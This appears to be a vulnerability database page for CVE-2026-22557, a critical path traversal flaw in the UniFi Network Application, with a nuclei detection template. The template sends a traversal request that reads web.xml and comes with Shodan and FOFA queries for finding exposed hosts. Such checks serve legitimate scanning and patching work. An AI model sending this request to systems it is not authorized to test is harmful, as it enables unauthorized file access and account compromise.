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CVE-2026-22557· ui / unifi network application· CWE-22
UniFi Network Application - Path Traversal
criticalseverity
10CVSS score
28.7%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it
UniFi Network Application contains a path traversal vulnerability allowing a network attacker to access and manipulate files on the underlying system, potentially leading to account access, exploit requires network access.
Impact
Network attackers can access and manipulate system files, potentially compromising user accounts and system integrity.
Fix
Update to the latest version of UniFi Network Application.
How to confirm it
Send: GET /guest/s/default/login?page_error=..%2F..%2Fweb.xml
Positive when: contains_all(body, "<servlet>","<web-app") and contains(content_type, "application/xml") and status_code == 200Run it with nuclei: nuclei -id CVE-2026-22557 -u <target>
The full check
id: CVE-2026-22557
info:
name: UniFi Network Application - Path Traversal
author: Aryu-RU
severity: critical
description: |
UniFi Network Application contains a path traversal vulnerability allowing a network attacker to access and manipulate files on the underlying system, potentially leading to account access, exploit requires network access.
impact: |
Network attackers can access and manipulate system files, potentially compromising user accounts and system integrity.
remediation: |
Update to the latest version of UniFi Network Application.
reference:
- https://community.ui.com/releases/Security-Advisory-Bulletin-062-062/c29719c0-405e-4d4a-8f26-e343e99f931b
- https://github.com/ThePotatoOfDoom/CVE-2026-22557-PoC
- https://www.cycognito.com/blog/emerging-threat-ubiquiti-unifi-network-application-path-traversal-cve-2026-22557/
- https://nvd.nist.gov/vuln/detail/CVE-2026-22557
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10.0
cve-id: CVE-2026-22557
epss-score: 0.28665
epss-percentile: 0.98155
cwe-id: CWE-22
cpe: cpe:2.3:a:ui:unifi_network_application:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: ui
product: unifi_network_application
shodan-query: http.title:"UniFi Network"
fofa-query: title="UniFi Network"
tags: cve,cve2026,unifi,ubnt,lfi,traversal,unauth
http:
- raw:
- |
GET /guest/s/default/login?page_error=..%2F..%2Fweb.xml HTTP/1.1
Host: {{Hostname}}
Referer: {{RootURL}}/guest/s/default/?id=aa:bb:cc:dd:ee:ff&ap=00:11:22:33:44:55&ssid=test&url=http://example.com
matchers:
- type: dsl
dsl:
- 'contains_all(body, "<servlet>","<web-app")'
- 'contains(content_type, "application/xml")'
- 'status_code == 200'
condition: andReferences
- https://community.ui.com/releases/Security-Advisory-Bulletin-062-062/c29719c0-405e-4d4a-8f26-e343e99f931b
- https://github.com/ThePotatoOfDoom/CVE-2026-22557-PoC
- https://www.cycognito.com/blog/emerging-threat-ubiquiti-unifi-network-application-path-traversal-cve-2026-22557/
- https://nvd.nist.gov/vuln/detail/CVE-2026-22557
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